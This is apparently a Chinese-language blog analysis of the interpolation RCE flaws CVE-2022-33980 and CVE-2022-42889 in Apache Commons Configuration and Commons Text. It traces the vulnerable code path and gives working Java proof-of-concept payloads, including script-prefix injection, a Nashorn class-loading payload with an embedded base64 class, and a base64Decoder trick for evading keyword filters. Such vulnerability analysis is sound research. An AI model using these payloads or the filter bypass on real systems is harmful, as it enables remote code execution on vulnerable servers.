前言
Apache Commons Configuration:CVE-2022-33980的分析以及Apache Commons Text组件的后续分析:CVE-2022-42889
漏洞描述
Apache发布安全公告,修复了一个存在Apache Commons Configuration组件中的远程代码执行漏洞。该漏洞是由于Apache Commons Configuration 在执行变量interpolation时,允许动态评估和扩展属性,interpolation的标准格式为”${prefix:name}”,其中”prefix”用于定位执行interpolation的 org.apache.commons.configuration2.interpol.Lookup类。当用户调用Lookup类时可能导致攻击者执行任意代码或远程连接服务器。具体实例为:
- “script” - execute expressions using the JVM script execution engine (javax.script) -
- “dns” - resolve dns records -
- “url” - load values from urls, including from remote servers
相关介绍
Apache Commons Configuration是一个Java应用程序的配置管理工具,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。简单的使用见:commons-configuration使用介绍
影响版本
2.4 <= Apache Commons Configuration <= 2.7
环境搭建
maven导入
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-configuration2</artifactId> <version>2.7</version> </dependency>
|
Demo.java
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator; import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class Demo { public static void main(String[] args) { InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder() .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()) .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()) .create(); ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification); Object interpolate = configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"); } }
|
简要分析
根据漏洞信息,组件的Variable Interpolation(变量插值)功能可以动态的执行和扩展,相关格式为 ${prefix:name}
更新后默认情况下不启用script,dns,url。
大概率问题出现在script。

查找关于Variable Interpolation文档

其中 Commons configuration 可通过 getDefaultPrefixLookups 获取所有内置的prefix(前缀),根据不同的前缀执行不同的功能

有以下前缀
date localhost const urlDecoder dns base64Encoder env sys script url file java resourceBundle xml base64Decoder properties urlEncoder
|
看到script

后续其实能发现都转到了org.apache.commons.text.lookup.StringLookupFactory类中的方法进行解析


所以可能利用 Nashorn JavaScript 脚本引擎调用eval执行java代码
动态调试
interpolate()

looksLikeSingleVariable() 判断以 ${
开头,以 }
结尾的格式

resolveSingleVariable() 调用 extractVariableName() 去掉格式符号${}

resolve()分离prefix与name,value字段通过寻找然后实例prefix相对应的对象,再调用其lookup方法。

fetchLookupForPrefix(),直接从 prefixLookups 这个Map对象属性中获取script对应的 StringLookupAdapter 类,其中定义stringLookup为scriptStringLookup实例

lookup()方法中调用ScriptStringLookup#lookup()

跟进lookup(),Nashorn引擎调用eval()

走到evalImpl(),执行命令。

关于Apache Commons text
昨晚看Y4师傅发了关于apache commons text,既然上面也涉及到apache commons text,再分析一下text吧。
当天分析时发现,CVE编号已经添加上了:NVD - CVE-2022-42889 (nist.gov)
简要分析
官网更新1.10.0版本

看到其中一条记录,还是那三个prefix,这里多出来了 StringSubstitutor.createInterpolator()

翻看文档

可以看到功能其实差不多,并且肯定支持script。
动态调试
跟进replace()

在substitute()中通过resolveVariable()解析内容

resolveVariable()中就非常熟悉了,获取所有的prefix

然后就不用跟了,调用ScriptStringLookup#lookup(),Nashorn引擎调用eval()

POC
maven
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-text</artifactId> <version>1.9</version> </dependency>
|
poc:
import org.apache.commons.text.StringSubstitutor;
public class Demo { public static void main(String[] args) { StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); String text = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}");
} }
|
利用nashorn调用SecureClassLoader进行类加载
import org.apache.commons.text.StringSubstitutor;
public class Demo { public static void main(String[] args) { String poc = "var clazz = java.security.SecureClassLoader.class;var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);method.setAccessible(true);var classBytes = 'yv66vgAAADQAIQoACAASCgATABQIABUKABMAFgcAFwoABQAYBwAZBwAaAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHABkHABcBAApTb3VyY2VGaWxlAQAIcG9jLmphdmEMAAkACgcAGwwAHAAdAQAEY2FsYwwAHgAfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAIAAKAQADcG9jAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAEAAQAJAAoAAQALAAAAYAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAAAgAEAAQADQAHABAABQARAAYAFQAIAA0AAAAQAAL/ABAAAQcADgABBwAPBAABABAAAAACABE=';var bytes = java.util.Base64.getDecoder().decode(classBytes);var constructor = clazz.getDeclaredConstructor();constructor.setAccessible(true);var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);clz.newInstance();";
StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); String text = interpolator.replace("${script:nashorn:"+poc+"}"); System.out.println(text); } }
|
bypass关键字
如果过滤了script,url,file等关键字,可以利用base64Decoder进行绕过,
原理就是在调用完一次解析替换后,会对产生的新值再一次进行解析,判断是否含有 ${
与 }
,如果有就递归再次解析
${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKX0=}
|
参考
CVE-2022-42889: Apache Commons Text prior to 1.10.0 allows RCE when applied to untrusted input due to insecure interpolation defaults-Apache Mail Archives
Commons Text – Commons Text - User guide (apache.org)